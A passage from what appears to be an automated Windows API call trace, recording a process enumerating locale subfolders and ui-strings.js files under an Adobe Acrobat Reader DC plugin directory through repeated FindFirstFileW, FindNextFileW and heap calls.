nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.396] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0247.396] GetProcessHeap () returned 0xc10000 [0247.396] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.398] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.398] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0247.398] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.398] GetProcessHeap () returned 0xc10000 [0247.398] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.398] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0247.398] GetProcessHeap () returned 0xc10000 [0247.398] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.400] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.400] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.400] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.400] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.400] GetProcessHeap () returned 0xc10000 [0247.401] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.401] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0247.401] GetProcessHeap () returned 0xc10000 [0247.401] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.401] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.401] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.402] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.402] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.402] GetProcessHeap () returned 0xc10000 [0247.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.402] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0247.402] GetProcessHeap () returned 0xc10000 [0247.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0247.404] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.404] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.404] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.404] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0247.404] GetProcessHeap () returned 0xc10000 [0247.404] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.404] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0247.404] GetProcessHeap () returned 0xc10000 [0247.404] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.406] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.406] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.406] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.406] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.406] GetProcessHeap () returned 0xc10000 [0247.406] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.406] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0247.406] GetProcessHeap () returned 0xc10000 [0247.407] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0247.408] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.408] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.408] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.408] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0247.408] GetProcessHeap () returned 0xc10000 [0247.408] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.408] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0247.408] GetProcessHeap () returned 0xc10000 [0247.408] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.408] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0247.409] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.409] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.409] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.409] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0247.409] GetProcessHeap () returned 0xc10000 [0247.409] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.409] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0247.410] GetProcessHeap () returned 0xc10000 [0247.410] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0247.411] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.411] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.411] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.411] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0247.411] GetProcessHeap () returned 0xc10000 [0247.411] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.411] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: 